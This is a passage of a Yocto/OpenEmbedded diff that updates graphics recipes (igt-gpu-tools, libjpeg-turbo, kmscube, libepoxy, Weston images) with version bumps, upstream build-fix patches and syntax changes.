+++ b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools/0001-lib-meson.build-fix-meson-0.60-compatibility.patch
@@ -0,0 +1,24 @@
+From b9a19aa4bdb21751c04c0e3ba8a9e2e35a10c953 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 25 Oct 2021 18:18:15 +0200
+Subject: [PATCH] lib/meson.build: fix meson 0.60 compatibility
+
+Upstream-Status: Backport [https://gitlab.freedesktop.org/drm/igt-gpu-tools/-/commit/963917a3565466832a3b2fc22e9285d34a0bf944]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ lib/meson.build | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/lib/meson.build b/lib/meson.build
+index 9929520e..1a525587 100644
+--- a/lib/meson.build
++++ b/lib/meson.build
+@@ -152,7 +152,7 @@ lib_version = vcs_tag(input : 'version.h.in', output : 'version.h',
+
+ lib_intermediates = []
+ foreach f: lib_sources
+- name = f.underscorify(f)
++ name = f.underscorify()
+ lib = static_library('igt-' + name,
+ [ f, lib_version ],
+ include_directories: inc,
diff --git a/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
new file mode 100644
index 0000000000..bb2f9564d2
--- /dev/null
+++ b/meta/recipes-graphics/igt-gpu-tools/igt-gpu-tools_git.bb
@@ -0,0 +1,53 @@
+SUMMARY = "IGT GPU Tools"
+DESCRIPTION = "IGT GPU Tools is a collection of tools for development and testing of the DRM drivers"
+HOMEPAGE = "https://gitlab.freedesktop.org/drm/igt-gpu-tools"
+BUGTRACKER = "https://gitlab.freedesktop.org/drm/igt-gpu-tools/-/issues"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=67bfee4df38fa6ecbe3a675c552d4c08"
+
+LICENSE = "MIT"
+
+inherit meson pkgconfig
+
+SRCREV = "203def046b466fb2da67f9f15552d84e1c0b41f2"
+PV = "1.26"
+
+SRC_URI = "git://gitlab.freedesktop.org/drm/igt-gpu-tools.git;protocol=https;branch=master \
+ file://0001-lib-meson.build-fix-meson-0.60-compatibility.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+DEPENDS += "libdrm libpciaccess cairo udev glib-2.0 procps libunwind kmod openssl elfutils alsa-lib json-c bison-native"
+RDEPENDS:${PN} += "bash"
+RDEPENDS:${PN}-tests += "bash"
+
+PACKAGE_BEFORE_PN = "${PN}-benchmarks ${PN}-tests"
+
+PACKAGECONFIG[chamelium] = "-Dchamelium=enabled,-Dchamelium=disabled,gsl xmlrpc-c"
+
+EXTRA_OEMESON = "-Ddocs=disabled -Drunner=enabled -Dsrcdir=/usr/src/debug/${PN}/${PV}-${PR}/git/"
+COMPATIBLE_HOST = "(x86_64.*|i.86.*|arm.*|aarch64).*-linux"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
+SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
+
+gputools_sysroot_preprocess() {
+ rm -f ${SYSROOT_DESTDIR}${libdir}/pkgconfig/intel-gen4asm.pc
+}
+SYSROOT_PREPROCESS_FUNCS += "gputools_sysroot_preprocess"
+
+do_install:append() {
+ install -d ${D}/usr/share/${BPN}/scripts
+ install ${S}/scripts/run-tests.sh ${D}/usr/share/${BPN}/scripts
+ install -d ${D}/usr/share/${BPN}/runner
+ install -D ${B}/runner/igt_runner ${D}/usr/share/${BPN}/runner
+ install -D ${B}/runner/igt_resume ${D}/usr/share/${BPN}/runner
+}
+
+FILES:${PN}-benchmarks += "${libexecdir}/${BPN}/benchmarks"
+FILES:${PN}-tests += "\
+ ${libexecdir}/${BPN}/*\
+ ${datadir}/${BPN}/1080p-right.png\
+ ${datadir}/${BPN}/1080p-left.png\
+ ${datadir}/${BPN}/pass.png\
+ ${datadir}/${BPN}/test-list.txt"
diff --git a/meta/recipes-graphics/images/core-image-clutter.bb b/meta/recipes-graphics/images/core-image-clutter.bb
deleted file mode 100644
index a594461022..0000000000
--- a/meta/recipes-graphics/images/core-image-clutter.bb
+++ /dev/null
@@ -1,15 +0,0 @@
-DESCRIPTION = "An image with support for the Open GL-based toolkit Clutter, \
-which enables development of rich and animated graphical user interfaces."
-
-IMAGE_FEATURES += "splash package-management x11-base x11-sato ssh-server-dropbear"
-
-LICENSE = "MIT"
-
-IMAGE_INSTALL = "\
- ${CORE_IMAGE_BASE_INSTALL} \
- packagegroup-core-clutter-core \
- "
-
-inherit core-image
-
-QB_MEM = '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
diff --git a/meta/recipes-graphics/images/core-image-weston-sdk.bb b/meta/recipes-graphics/images/core-image-weston-sdk.bb
new file mode 100644
index 0000000000..09e87b5b65
--- /dev/null
+++ b/meta/recipes-graphics/images/core-image-weston-sdk.bb
@@ -0,0 +1,15 @@
+require core-image-weston.bb
+
+DESCRIPTION = "Image with Weston support that includes everything within \
+core-image-weston plus meta-toolchain, development headers and libraries to \
+form a standalone SDK."
+HOMEPAGE = "https://www.yoctoproject.org/"
+
+IMAGE_FEATURES += "dev-pkgs tools-sdk \
+ tools-debug eclipse-debug tools-profile tools-testapps debug-tweaks ssh-server-openssh"
+
+IMAGE_INSTALL += "kernel-devsrc"
+
+# Compiling stuff, specifically SystemTap probes, can require lots of memory
+# See https://bugzilla.yoctoproject.org/show_bug.cgi?id=14673
+QB_MEM = "-m 768"
diff --git a/meta/recipes-graphics/images/core-image-weston.bb b/meta/recipes-graphics/images/core-image-weston.bb
index e36655ffc5..62305cc1ce 100644
--- a/meta/recipes-graphics/images/core-image-weston.bb
+++ b/meta/recipes-graphics/images/core-image-weston.bb
@@ -1,12 +1,12 @@
SUMMARY = "A very basic Wayland image with a terminal"
-IMAGE_FEATURES += "splash package-management ssh-server-dropbear hwcodecs"
+IMAGE_FEATURES += "splash package-management ssh-server-dropbear hwcodecs weston"
LICENSE = "MIT"
-inherit core-image distro_features_check
+inherit core-image
-REQUIRED_DISTRO_FEATURES = "wayland"
-
-CORE_IMAGE_BASE_INSTALL += "weston weston-init weston-examples gtk+3-demo clutter-1.0-examples"
+CORE_IMAGE_BASE_INSTALL += "gtk+3-demo"
CORE_IMAGE_BASE_INSTALL += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'weston-xwayland matchbox-terminal', '', d)}"
+
+QB_MEM = "-m 512"
diff --git a/meta/recipes-graphics/images/core-image-x11.bb b/meta/recipes-graphics/images/core-image-x11.bb
index cd5374949d..52407759f9 100644
--- a/meta/recipes-graphics/images/core-image-x11.bb
+++ b/meta/recipes-graphics/images/core-image-x11.bb
@@ -4,7 +4,7 @@ IMAGE_FEATURES += "splash package-management x11-base"
LICENSE = "MIT"
-inherit core-image distro_features_check
+inherit core-image features_check
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch b/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
index 82fffe1e68..fab5109f83 100644
--- a/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
+++ b/meta/recipes-graphics/jpeg/files/0001-libjpeg-turbo-fix-package_qa-error.patch
@@ -7,7 +7,7 @@ Fix package qa errors like below:
libjpeg.so.62.3.0 contains probably-redundant RPATH /usr/lib [useless-rpaths]
usr/bin/cjpeg contains probably-redundant RPATH /usr/lib
-Upstream-Status: Inappropriate[oe-specific]
+Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
@@ -19,7 +19,7 @@ diff --git a/CMakeLists.txt b/CMakeLists.txt
index 2bc3458..ea3041e 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
-@@ -189,10 +189,6 @@ endif()
+@@ -191,10 +191,6 @@ endif()
report_option(ENABLE_SHARED "Shared libraries")
report_option(ENABLE_STATIC "Static libraries")
@@ -27,6 +27,6 @@ index 2bc3458..ea3041e 100644
- set(CMAKE_INSTALL_RPATH ${CMAKE_INSTALL_FULL_LIBDIR})
-endif()
-
- if(WITH_12BIT)
- set(WITH_ARITH_DEC 0)
- set(WITH_ARITH_ENC 0)
+ if(WITH_JPEG8 OR WITH_JPEG7)
+ set(WITH_ARITH_ENC 1)
+ set(WITH_ARITH_DEC 1)
diff --git a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.3.bb b/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.3.bb
deleted file mode 100644
index 1cf854de62..0000000000
--- a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.0.3.bb
+++ /dev/null
@@ -1,57 +0,0 @@
-SUMMARY = "Hardware accelerated JPEG compression/decompression library"
-DESCRIPTION = "libjpeg-turbo is a derivative of libjpeg that uses SIMD instructions (MMX, SSE2, NEON) to accelerate baseline JPEG compression and decompression"
-HOMEPAGE = "http://libjpeg-turbo.org/"
-
-LICENSE = "BSD-3-Clause"
-LIC_FILES_CHKSUM = "file://cdjpeg.h;endline=13;md5=8184bcc7c4ac7b9edc6a7bc00f231d0b \
- file://jpeglib.h;endline=16;md5=7ea97dc83b0f59052ee837e61ef0e08f \
- file://djpeg.c;endline=11;md5=c59e19811c006cb38f82d6477134d314 \
-"
-DEPENDS_append_x86-64_class-target = " nasm-native"
-DEPENDS_append_x86_class-target = " nasm-native"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz \
- file://0001-libjpeg-turbo-fix-package_qa-error.patch \
- "
-
-SRC_URI[md5sum] = "bd07fddf26f9def7bab02739eb655116"
-SRC_URI[sha256sum] = "4246de500544d4ee408ee57048aa4aadc6f165fc17f141da87669f20ed3241b7"
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libjpeg-turbo/files/"
-UPSTREAM_CHECK_REGEX = "/libjpeg-turbo/files/(?P<pver>(\d+[\.\-_]*)+)/"
-
-PE= "1"
-
-# Drop-in replacement for jpeg
-PROVIDES = "jpeg"
-RPROVIDES_${PN} += "jpeg"
-RREPLACES_${PN} += "jpeg"
-RCONFLICTS_${PN} += "jpeg"
-
-inherit cmake pkgconfig
-
-# Add nasm-native dependency consistently for all build arches is hard
-EXTRA_OECMAKE_append_class-native = " -DWITH_SIMD=False"
-EXTRA_OECMAKE_append_class-nativesdk = " -DWITH_SIMD=False"
-
-# Work around missing x32 ABI support
-EXTRA_OECMAKE_append_class-target = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", "-DWITH_SIMD=False", "", d)}"
-
-# Work around missing non-floating point ABI support in MIPS
-EXTRA_OECMAKE_append_class-target = " ${@bb.utils.contains("MIPSPKGSFX_FPU", "-nf", "-DWITH_SIMD=False", "", d)}"
-
-# Provide a workaround if Altivec unit is not present in PPC
-EXTRA_OECMAKE_append_class-target_powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
-EXTRA_OECMAKE_append_class-target_powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
-
-DEBUG_OPTIMIZATION_append_armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-DEBUG_OPTIMIZATION_append_armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
-
-PACKAGES =+ "jpeg-tools libturbojpeg"
-
-DESCRIPTION_jpeg-tools = "The jpeg-tools package includes client programs to access libjpeg functionality. These tools allow for the compression, decompression, transformation and display of JPEG files and benchmarking of the libjpeg library."
-FILES_jpeg-tools = "${bindir}/*"
-
-DESCRIPTION_libturbojpeg = "A SIMD-accelerated JPEG codec which provides only TurboJPEG APIs"
-FILES_libturbojpeg = "${libdir}/libturbojpeg.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.3.bb b/meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.3.bb
new file mode 100644
index 0000000000..fdc035d5f7
--- /dev/null
+++ b/meta/recipes-graphics/jpeg/libjpeg-turbo_2.1.3.bb
@@ -0,0 +1,62 @@
+SUMMARY = "Hardware accelerated JPEG compression/decompression library"
+DESCRIPTION = "libjpeg-turbo is a derivative of libjpeg that uses SIMD instructions (MMX, SSE2, NEON) to accelerate baseline JPEG compression and decompression"
+HOMEPAGE = "http://libjpeg-turbo.org/"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://cdjpeg.h;endline=13;md5=8a61af33cc1c681cd5cc297150bbb5bd \
+ file://jpeglib.h;endline=16;md5=52b5eaade8d5b6a452a7693dfe52c084 \
+ file://djpeg.c;endline=11;md5=510b386442ab6a27ee241fc5669bc5ea \
+ "
+DEPENDS:append:x86-64:class-target = " nasm-native"
+DEPENDS:append:x86:class-target = " nasm-native"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz \
+ file://0001-libjpeg-turbo-fix-package_qa-error.patch \
+ "
+
+SRC_URI[sha256sum] = "467b310903832b033fe56cd37720d1b73a6a3bd0171dbf6ff0b620385f4f76d0"
+UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/libjpeg-turbo/files/"
+UPSTREAM_CHECK_REGEX = "/libjpeg-turbo/files/(?P<pver>(\d+[\.\-_]*)+)/"
+
+PE = "1"
+
+# Drop-in replacement for jpeg
+PROVIDES = "jpeg"
+RPROVIDES:${PN} += "jpeg"
+RREPLACES:${PN} += "jpeg"
+RCONFLICTS:${PN} += "jpeg"
+
+inherit cmake pkgconfig
+
+export NASMENV = "--reproducible --debug-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+
+# Add nasm-native dependency consistently for all build arches is hard
+EXTRA_OECMAKE:append:class-native = " -DWITH_SIMD=False"
+EXTRA_OECMAKE:append:class-nativesdk = " -DWITH_SIMD=False"
+
+# Work around missing x32 ABI support
+EXTRA_OECMAKE:append:class-target = " ${@bb.utils.contains("TUNE_FEATURES", "mx32", "-DWITH_SIMD=False", "", d)}"
+
+# Work around missing non-floating point ABI support in MIPS
+EXTRA_OECMAKE:append:class-target = " ${@bb.utils.contains("MIPSPKGSFX_FPU", "-nf", "-DWITH_SIMD=False", "", d)}"
+
+EXTRA_OECMAKE:append:class-target:arm = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:armeb = " ${@bb.utils.contains("TUNE_FEATURES", "neon", "", "-DWITH_SIMD=False", d)}"
+
+# Provide a workaround if Altivec unit is not present in PPC
+EXTRA_OECMAKE:append:class-target:powerpc = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:powerpc64 = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+EXTRA_OECMAKE:append:class-target:powerpc64le = " ${@bb.utils.contains("TUNE_FEATURES", "altivec", "", "-DWITH_SIMD=False", d)}"
+
+DEBUG_OPTIMIZATION:append:armv4 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+DEBUG_OPTIMIZATION:append:armv5 = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+
+PACKAGES =+ "jpeg-tools libturbojpeg"
+
+DESCRIPTION:jpeg-tools = "The jpeg-tools package includes client programs to access libjpeg functionality. These tools allow for the compression, decompression, transformation and display of JPEG files and benchmarking of the libjpeg library."
+FILES:jpeg-tools = "${bindir}/*"
+
+DESCRIPTION:libturbojpeg = "A SIMD-accelerated JPEG codec which provides only TurboJPEG APIs"
+FILES:libturbojpeg = "${libdir}/libturbojpeg.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch b/meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch
new file mode 100644
index 0000000000..5965782de7
--- /dev/null
+++ b/meta/recipes-graphics/kmscube/kmscube/0001-texturator-Use-correct-GL-extension-header.patch
@@ -0,0 +1,33 @@
+From 2b74e0e32235f6ab2e3e42d53dea985a7ba6227f Mon Sep 17 00:00:00 2001
+From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
+Date: Wed, 16 Dec 2020 11:08:25 +0900
+Subject: [PATCH] texturator: Use correct GL extension header
+
+gl2ext.h is the extenstion header for OpenGL ES 2.0 and all later
+versions according to the Khronos documentation [1]. gl3ext.h is either
+an empty stub, or may not even exist on some platforms.
+
+[1]: https://www.khronos.org/registry/OpenGL/index_es.php#headers
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/mesa/kmscube/-/merge_requests/26]
+Signed-off-by: Quentin Schulz <quentin.schulz@theobroma-systems.com>
+---
+ texturator.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/texturator.c b/texturator.c
+index d9335d7..6d97856 100644
+--- a/texturator.c
++++ b/texturator.c
+@@ -30,7 +30,7 @@
+ #include <math.h>
+
+ #include <GLES3/gl3.h>
+-#include <GLES3/gl3ext.h>
++#include <GLES2/gl2ext.h>
+
+ #ifdef HAVE_LIBPNG
+ #include <png.h>
+--
+2.33.1
+
diff --git a/meta/recipes-graphics/kmscube/kmscube/detect-gst_bo_map-_unmap-and-use-it-or-avoid-it.patch b/meta/recipes-graphics/kmscube/kmscube/detect-gst_bo_map-_unmap-and-use-it-or-avoid-it.patch
deleted file mode 100644
index a7a08f14e6..0000000000
--- a/meta/recipes-graphics/kmscube/kmscube/detect-gst_bo_map-_unmap-and-use-it-or-avoid-it.patch
+++ /dev/null
@@ -1,117 +0,0 @@
-From a91c588b5a4122506e7fe949c37d530621bdd997 Mon Sep 17 00:00:00 2001
-From: =?UTF-8?q?Daniel=20D=C3=ADaz?= <daniel.diaz@linaro.org>
-Date: Tue, 11 Jul 2017 14:50:37 -0500
-Subject: [PATCH] Detect gst_bo_map/_unmap and use it (or avoid it)
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Those functions are not available on libMali, thus breaking
-builds and creating havoc.
-
-Removing the specific parts of the code that deal with
-gbm_bo_map() and gbm_bo_unmap() renders the kmscube utility
-a little less useful, but still valuable.
-
-Signed-off-by: Daniel Díaz <daniel.diaz@linaro.org>
-Cc: Rob Clark <robdclark@gmail.com>
-Reviewed-by: Eric Engestrom <eric.engestrom@imgtec.com>
-
-Upstream-Status: Submitted [https://lists.freedesktop.org/archives/mesa-dev/2017-July/163020.html]
-Signed-off-by: Zoltan Kuscsik <zoltan.kuscsik@solution57.com>
----
- Makefile.am | 5 ++++-
- configure.ac | 3 +++
- gst-decoder.c | 7 ++++++-
- kmscube.c | 4 ++++
- 4 files changed, 17 insertions(+), 2 deletions(-)
-
-diff --git a/Makefile.am b/Makefile.am
-index ba064e4..3a0a50b 100644
---- a/Makefile.am
-+++ b/Makefile.am
-@@ -43,7 +43,6 @@ kmscube_SOURCES = \
- common.c \
- common.h \
- cube-smooth.c \
-- cube-tex.c \
- drm-atomic.c \
- drm-common.c \
- drm-common.h \
-@@ -68,3 +67,7 @@ texturator_SOURCES = \
- drm-common.c \
- drm-legacy.c \
- texturator.c
-+
-+if ENABLE_GBM_MAP
-+kmscube_SOURCES += cube-tex.c
-+endif
-diff --git a/configure.ac b/configure.ac
-index 6be6541..3d20121 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -49,5 +49,8 @@ if test "x$HAVE_GST" = "xyes"; then
- fi
- AM_CONDITIONAL(ENABLE_GST, [test "x$HAVE_GST" = "xyes"])
-
-+AC_CHECK_LIB([gbm], [gbm_bo_map], [HAVE_GBM_BO_MAP=yes], [])
-+AM_CONDITIONAL(ENABLE_GBM_MAP, [test "x$HAVE_GBM_BO_MAP" = "xyes"])
-+
- AC_CONFIG_FILES([Makefile])
- AC_OUTPUT
-diff --git a/gst-decoder.c b/gst-decoder.c
-index 5431014..0aa7a55 100644
---- a/gst-decoder.c
-+++ b/gst-decoder.c
-@@ -332,6 +332,7 @@ set_last_frame(struct decoder *dec, EGLImage frame, GstSample *samp)
- dec->last_samp = samp;
- }
-
-+#if HAVE_GBM_BO_MAP
- // TODO this could probably be a helper re-used by cube-tex:
- static int
- buf_to_fd(const struct gbm *gbm, int size, void *ptr)
-@@ -357,6 +358,7 @@ buf_to_fd(const struct gbm *gbm, int size, void *ptr)
-
- return fd;
- }
-+#endif
-
- static EGLImage
- buffer_to_image(struct decoder *dec, GstBuffer *buf)
-@@ -410,12 +412,15 @@ buffer_to_image(struct decoder *dec, GstBuffer *buf)
-
- if (is_dmabuf_mem) {
- dmabuf_fd = dup(gst_dmabuf_memory_get_fd(mem));
-- } else {
-+ }
-+#if HAVE_GBM_BO_MAP
-+ else {
- GstMapInfo map_info;
- gst_buffer_map(buf, &map_info, GST_MAP_READ);
- dmabuf_fd = buf_to_fd(dec->gbm, map_info.size, map_info.data);
- gst_buffer_unmap(buf, &map_info);
- }
-+#endif
-
- if (dmabuf_fd < 0) {
- GST_ERROR("could not obtain DMABUF FD");
-diff --git a/kmscube.c b/kmscube.c
-index 81803be..e93da67 100644
---- a/kmscube.c
-+++ b/kmscube.c
-@@ -166,7 +166,11 @@ int main(int argc, char *argv[])
- else if (mode == VIDEO)
- egl = init_cube_video(gbm, video, samples);
- else
-+#if HAVE_GBM_BO_MAP
- egl = init_cube_tex(gbm, mode, samples);
-+#else
-+ printf("gbm_bo_map() support missing\n");
-+#endif
-
- if (!egl) {
- printf("failed to initialize EGL\n");
---
-2.22.0
-
diff --git a/meta/recipes-graphics/kmscube/kmscube_git.bb b/meta/recipes-graphics/kmscube/kmscube_git.bb
index 2b6837fef6..58ce26a3d5 100644
--- a/meta/recipes-graphics/kmscube/kmscube_git.bb
+++ b/meta/recipes-graphics/kmscube/kmscube_git.bb
@@ -1,21 +1,29 @@
-DESCRIPTION = "Demo application to showcase 3D graphics using kms and gbm"
+SUMMARY = "Demo application to showcase 3D graphics using kms and gbm"
+DESCRIPTION = "kmscube is a little demonstration program for how to drive bare metal graphics \
+without a compositor like X11, wayland or similar, using DRM/KMS (kernel mode \
+setting), GBM (graphics buffer manager) and EGL for rendering content using \
+OpenGL or OpenGL ES."
HOMEPAGE = "https://cgit.freedesktop.org/mesa/kmscube/"
LICENSE = "MIT"
SECTION = "graphics"
-DEPENDS = "virtual/libgles2 virtual/egl libdrm"
+DEPENDS = "virtual/libgles3 virtual/libgles2 virtual/egl libdrm"
LIC_FILES_CHKSUM = "file://kmscube.c;beginline=1;endline=23;md5=8b309d4ee67b7315ff7381270dd631fb"
-SRCREV = "f632b23a528ed6b4e1fddd774db005c30ab65568"
-SRC_URI = "git://gitlab.freedesktop.org/mesa/kmscube;branch=master;protocol=https \
- file://detect-gst_bo_map-_unmap-and-use-it-or-avoid-it.patch"
+SRCREV = "9f63f359fab1b5d8e862508e4e51c9dfe339ccb0"
+SRC_URI = "git://gitlab.freedesktop.org/mesa/kmscube;branch=master;protocol=https"
+SRC_URI += "file://0001-texturator-Use-correct-GL-extension-header.patch"
UPSTREAM_CHECK_COMMITS = "1"
S = "${WORKDIR}/git"
-inherit meson pkgconfig distro_features_check
+inherit meson pkgconfig features_check
REQUIRED_DISTRO_FEATURES = "opengl"
+DEPENDS = "virtual/libgbm"
PACKAGECONFIG ??= ""
PACKAGECONFIG[gstreamer] = "-Dgstreamer=enabled,-Dgstreamer=disabled,gstreamer1.0 gstreamer1.0-plugins-base"
+
+CFLAGS += "${@bb.utils.contains('DISTRO_FEATURES', 'x11', '', '-DEGL_NO_X11=1', d)}"
+
diff --git a/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch b/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch
new file mode 100644
index 0000000000..971a3f54e0
--- /dev/null
+++ b/meta/recipes-graphics/libepoxy/files/0001-dispatch_common.h-define-also-EGL_NO_X11.patch
@@ -0,0 +1,27 @@
+From 7211120d1e2f059d900f3379b9790484dbcf7761 Mon Sep 17 00:00:00 2001
+From: Martin Jansa <Martin.Jansa@gmail.com>
+Date: Fri, 25 Oct 2019 11:09:34 +0000
+Subject: [PATCH] dispatch_common.h: define also EGL_NO_X11
+
+MESA_EGL_NO_X11_HEADERS was renamed to EGL_NO_X11 in:
+https://github.com/mesa3d/mesa/commit/6202a13b71e18dc31ba7e2f4ea915b67eacc1ddb
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+Upstream-Status: Pending
+
+---
+ src/dispatch_common.h | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/dispatch_common.h b/src/dispatch_common.h
+index a136943..448c9b1 100644
+--- a/src/dispatch_common.h
++++ b/src/dispatch_common.h
+@@ -55,6 +55,7 @@
+ * as EGL_NO_X11
+ */
+ # define MESA_EGL_NO_X11_HEADERS 1
++# define EGL_NO_X11 1
+ # endif
+ #include "epoxy/egl.h"
+ #endif
diff --git a/meta/recipes-graphics/libepoxy/libepoxy_1.5.3.bb b/meta/recipes-graphics/libepoxy/libepoxy_1.5.3.bb
deleted file mode 100644
index 825453ab28..0000000000
--- a/meta/recipes-graphics/libepoxy/libepoxy_1.5.3.bb
+++ /dev/null
@@ -1,38 +0,0 @@
-SUMMARY = "OpenGL function pointer management library"
-HOMEPAGE = "https://github.com/anholt/libepoxy/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=58ef4c80d401e07bd9ee8b6b58cf464b"
-
-SRC_URI = "https://github.com/anholt/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- "
-SRC_URI[md5sum] = "e2845de8d2782b2d31c01ae8d7cd4cbb"
-SRC_URI[sha256sum] = "002958c5528321edd53440235d3c44e71b5b1e09b9177e8daf677450b6c4433d"
-UPSTREAM_CHECK_URI = "https://github.com/anholt/libepoxy/releases"
-
-inherit meson pkgconfig distro_features_check
-
-REQUIRED_DISTRO_FEATURES = "opengl"
-REQUIRED_DISTRO_FEATURES_class-native = ""
-REQUIRED_DISTRO_FEATURES_class-nativesdk = ""
-
-PACKAGECONFIG[egl] = "-Degl=yes, -Degl=no, virtual/egl"
-PACKAGECONFIG[x11] = "-Dglx=yes, -Dglx=no -Dx11=false, virtual/libx11 virtual/libgl"
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} egl"
-
-EXTRA_OEMESON += "-Dtests=false"
-
-PACKAGECONFIG_class-native = "egl x11"
-PACKAGECONFIG_class-nativesdk = "egl x11"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# This will ensure that dlopen will attempt only GL libraries provided by host
-do_install_append_class-native() {
- chrpath --delete ${D}${libdir}/*.so
-}
-
-do_install_append_class-nativesdk() {
- chrpath --delete ${D}${libdir}/*.so
-}
diff --git a/meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb b/meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb
new file mode 100644
index 0000000000..487fc00360
--- /dev/null
+++ b/meta/recipes-graphics/libepoxy/libepoxy_1.5.9.bb
@@ -0,0 +1,32 @@
+SUMMARY = "OpenGL function pointer management library"
+DESCRIPTION = "It hides the complexity of dlopen(), dlsym(), \
+glXGetProcAddress(), eglGetProcAddress(), etc. from the app developer, with \
+very little knowledge needed on their part. They get to read GL specs and \
+write code using undecorated function names like glCompileShader()."
+HOMEPAGE = "https://github.com/anholt/libepoxy/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=58ef4c80d401e07bd9ee8b6b58cf464b"
+
+SRC_URI = "https://github.com/anholt/${BPN}/releases/download/${PV}/${BP}.tar.xz \
+ file://0001-dispatch_common.h-define-also-EGL_NO_X11.patch \
+ "
+SRC_URI[sha256sum] = "d168a19a6edfdd9977fef1308ccf516079856a4275cf876de688fb7927e365e4"
+UPSTREAM_CHECK_URI = "https://github.com/anholt/libepoxy/releases"
+
+inherit meson pkgconfig features_check
+
+REQUIRED_DISTRO_FEATURES = "opengl"
+
+PACKAGECONFIG[egl] = "-Degl=yes, -Degl=no, virtual/egl"
+PACKAGECONFIG[x11] = "-Dglx=yes, -Dglx=no -Dx11=false, virtual/libx11 virtual/libgl"
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} egl"
+
+EXTRA_OEMESON += "-Dtests=false"
+
+PACKAGECONFIG:class-native = "egl x11"
+PACKAGECONFIG:class-nativesdk = "egl x11"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-graphics/libfakekey/libfakekey_git.bb b/meta/recipes-graphics/libfakekey/libfakekey_git.bb
index 4b803dbae5..5d94be52b4 100644
--- a/meta/recipes-graphics/libfakekey/libfakekey_git.bb
+++ b/meta/recipes-graphics/libfakekey/libfakekey_git.bb
@@ -4,7 +4,7 @@ key-presses."
HOMEPAGE = "http://matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
-LICENSE = "LGPLv2+"
+LICENSE = "LGPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://src/libfakekey.c;endline=30;md5=602b5ccd48f64407510867f3373b448c"
DEPENDS = "libxtst"
@@ -13,11 +13,11 @@ SECTION = "x11/wm"
